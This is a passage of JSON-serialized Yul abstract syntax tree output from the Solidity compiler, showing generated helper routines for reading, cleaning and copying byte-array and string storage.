"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "1378:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1378:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1368:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulIdentifier", | |
"src": "1346:18:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "1339:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1339:26:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1336:61:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1456:111:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1477:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1484:3:1", | |
"type": "", | |
"value": "224" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1489:10:1", | |
"type": "", | |
"value": "0x4e487b71" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "1480:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1480:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1470:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1470:31:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1470:31:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1521:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1524:4:1", | |
"type": "", | |
"value": "0x22" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1514:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1514:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1514:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1549:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1552:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1542:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1542:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1542:15:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulIdentifier", | |
"src": "1412:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "1435:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1443:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "1432:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1432:14:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "1409:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1409:38:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1406:161:1" | |
} | |
] | |
}, | |
"name": "extract_byte_array_length", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "1228:4:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "1237:6:1", | |
"type": "" | |
} | |
], | |
"src": "1193:380:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1634:65:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1651:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "1654:3:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1644:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1644:14:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1644:14:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1667:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1685:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1688:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "keccak256", | |
"nodeType": "YulIdentifier", | |
"src": "1675:9:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1675:18:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "1667:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_dataslot_string_storage", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "1617:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "1625:4:1", | |
"type": "" | |
} | |
], | |
"src": "1578:121:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1785:464:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1818:425:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "1832:11:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1842:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulTypedName", | |
"src": "1836:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1863:2:1" | |
}, | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "1867:5:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1856:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1856:17:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1856:17:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "1886:31:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "1908:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1912:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "keccak256", | |
"nodeType": "YulIdentifier", | |
"src": "1898:9:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1898:19:1" | |
}, | |
"variables": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "1890:4:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "1930:57:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "1953:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1963:1:1", | |
"type": "", | |
"value": "5" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "startIndex", | |
"nodeType": "YulIdentifier", | |
"src": "1970:10:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1982:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1966:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1966:19:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "1959:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1959:27:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1949:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1949:38:1" | |
}, | |
"variables": [ | |
{ | |
"name": "deleteStart", | |
"nodeType": "YulTypedName", | |
"src": "1934:11:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2024:23:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2026:19:1", | |
"value": { | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "2041:4:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "deleteStart", | |
"nodeType": "YulIdentifier", | |
"src": "2026:11:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "startIndex", | |
"nodeType": "YulIdentifier", | |
"src": "2006:10:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2018:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "2003:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2003:20:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "2000:47:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2060:41:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "2074:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2084:1:1", | |
"type": "", | |
"value": "5" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "len", | |
"nodeType": "YulIdentifier", | |
"src": "2091:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2096:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "2087:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2087:12:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "2080:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2080:20:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "2070:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2070:31:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulTypedName", | |
"src": "2064:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2114:24:1", | |
"value": { | |
"name": "deleteStart", | |
"nodeType": "YulIdentifier", | |
"src": "2127:11:1" | |
}, | |
"variables": [ | |
{ | |
"name": "start", | |
"nodeType": "YulTypedName", | |
"src": "2118:5:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2212:21:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "2221:5:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "2228:2:1" | |
} | |
], | |
"functionName": { | |
"name": "sstore", | |
"nodeType": "YulIdentifier", | |
"src": "2214:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2214:17:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2214:17:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "2162:5:1" | |
}, | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "2169:2:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "2159:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2159:13:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "2173:26:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2175:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "2188:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2195:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "2184:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2184:13:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "2175:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "2155:3:1", | |
"statements": [] | |
}, | |
"src": "2151:82:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "len", | |
"nodeType": "YulIdentifier", | |
"src": "1801:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1806:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "1798:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1798:11:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1795:448:1" | |
} | |
] | |
}, | |
"name": "clean_up_bytearray_end_slots_string_storage", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "1757:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "len", | |
"nodeType": "YulTypedName", | |
"src": "1764:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "startIndex", | |
"nodeType": "YulTypedName", | |
"src": "1769:10:1", | |
"type": "" | |
} | |
], | |
"src": "1704:545:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2339:81:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2349:65:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "2364:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2382:1:1", | |
"type": "", | |
"value": "3" | |
}, | |
{ | |
"name": "len", | |
"nodeType": "YulIdentifier", | |
"src": "2385:3:1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "2378:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2378:11:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2395:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "2391:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2391:6:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "2374:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2374:24:1" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "2370:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2370:29:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "2360:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2360:40:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2406:1:1", | |
"type": "", | |
"value": "1" | |
}, | |
{ | |
"name": "len", | |
"nodeType": "YulIdentifier", | |
"src": "2409:3:1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "2402:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2402:11:1" | |
} | |
], | |
"functionName": { | |
"name": "or", | |
"nodeType": "YulIdentifier", | |
"src": "2357:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2357:57:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "used", | |
"nodeType": "YulIdentifier", | |
"src": "2349:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "extract_used_part_and_set_length_of_short_byte_array", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "2316:4:1", | |
"type": "" | |
}, | |
{ | |
"name": "len", | |
"nodeType": "YulTypedName", | |
"src": "2322:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "used", | |
"nodeType": "YulTypedName", | |
"src": "2330:4:1", | |
"type": "" | |
} | |
], | |
"src": "2254:166:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2521:1256:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2531:24:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "2551:3:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "2545:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2545:10:1" | |
}, | |
"variables": [ | |
{ | |
"name": "newLen", | |
"nodeType": "YulTypedName", | |
"src": "2535:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2598:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "2600:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2600:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2600:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "2570:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2586:2:1", | |
"type": "", | |
"value": "64" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2590:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "2582:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2582:10:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2594:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "2578:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2578:18:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "2567:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2567:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "2564:56:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulIdentifier", | |
"src": "2673:4:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulIdentifier", | |
"src": "2711:4:1" | |
} | |
], | |
"functionName": { | |
"name": "sload", | |
"nodeType": "YulIdentifier", | |
"src": "2705:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2705:11:1" | |
} | |
], | |
"functionName": { | |
"name": "extract_byte_array_length", | |
"nodeType": "YulIdentifier", | |
"src": "2679:25:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2679:38:1" | |
}, | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "2719:6:1" | |
} | |
], | |
"functionName": { | |
"name": "clean_up_bytearray_end_slots_string_storage", | |
"nodeType": "YulIdentifier", | |
"src": "2629:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2629:97:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "2629:97:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2735:18:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2752:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulTypedName", | |
"src": "2739:9:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2762:23:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2781:4:1", | |
"type": "", | |
"value": "0x20" | |
}, | |
"variables": [ | |
{ | |
"name": "srcOffset_1", | |
"nodeType": "YulTypedName", | |
"src": "2766:11:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "2794:24:1", | |
"value": { | |
"name": "srcOffset_1", | |
"nodeType": "YulIdentifier", | |
"src": "2807:11:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "2794:9:1" | |
} | |
] | |
}, | |
{ | |
"cases": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "2864:656:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2878:35:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "newLen", | |
"nodeType": "YulIdentifier", | |
"src": "2897:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2909:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "2905:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2905:7:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "2893:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2893:20:1" | |
}, | |
"variables": [ | |
{ | |
"name": "loopEnd", | |
"nodeType": "YulTypedName", | |
"src": "2882:7:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2926:49:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "slot", | |
"nodeType": "YulIdentifier", | |
"src": "2970:4:1" | |
} | |
], | |
"functionName": { | |
"name": "array_dataslot_string_storage", | |
"nodeType": "YulIdentifier", | |
"src": "2940:29:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "2940:35:1" | |
}, | |
"variables": [ | |
{ | |
"name": "dstPtr", | |
"nodeType": "YulTypedName", | |
"src": "2930:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "2988:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "2997:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "2992:1:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3075:172:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dstPtr", | |
"nodeType": "YulIdentifier", | |
"src": "3100:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "3118:3:1" | |
}, | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "3123:9:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3114:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3114:19:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "3108:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3108:26:1" | |
} | |
], | |
"functionName": { | |
"name": "sstore", | |
"nodeType": "YulIdentifier", | |
"src": "3093:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3093:42:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3093:42:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3152:24:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "dstPtr", | |
"nodeType": "YulIdentifier", | |
"src": "3166:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3174:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3162:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3162:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "dstPtr", | |
"nodeType": "YulIdentifier", | |
"src": "3152:6:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3193:40:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "3210:9:1" | |
}, | |
{ | |
"name": "srcOffset_1", | |
"nodeType": "YulIdentifier", | |
"src": "3221:11:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3206:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3206:27:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "3193:9:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "3022:1:1" | |
}, | |
{ | |
"name": "loopEnd", | |
"nodeType": "YulIdentifier", | |
"src": "3025:7:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "3019:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3019:14:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "3034:28:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3036:24:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "3045:1:1" | |
}, | |
{ | |
"name": "srcOffset_1", | |
"nodeType": "YulIdentifier", | |
"src": "3048:11:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3041:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3041:19:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "3036:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "3015:3:1", | |
"statements": [] | |
}, | |
"src": "3011:236:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3295:166:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "3313:43:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "3340:3:1" | |
}, | |
{ | |
"name": "srcOffset", | |
"nodeType": "YulIdentifier", | |
"src": "3345:9:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3336:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3336:19:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "3330:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3330:26:1" | |
}, | |
"variables": [ | |
{ | |
"name": "lastValue", | |
"nodeType": "YulTypedName", | |
"src": "3317:9:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dstPtr", | |
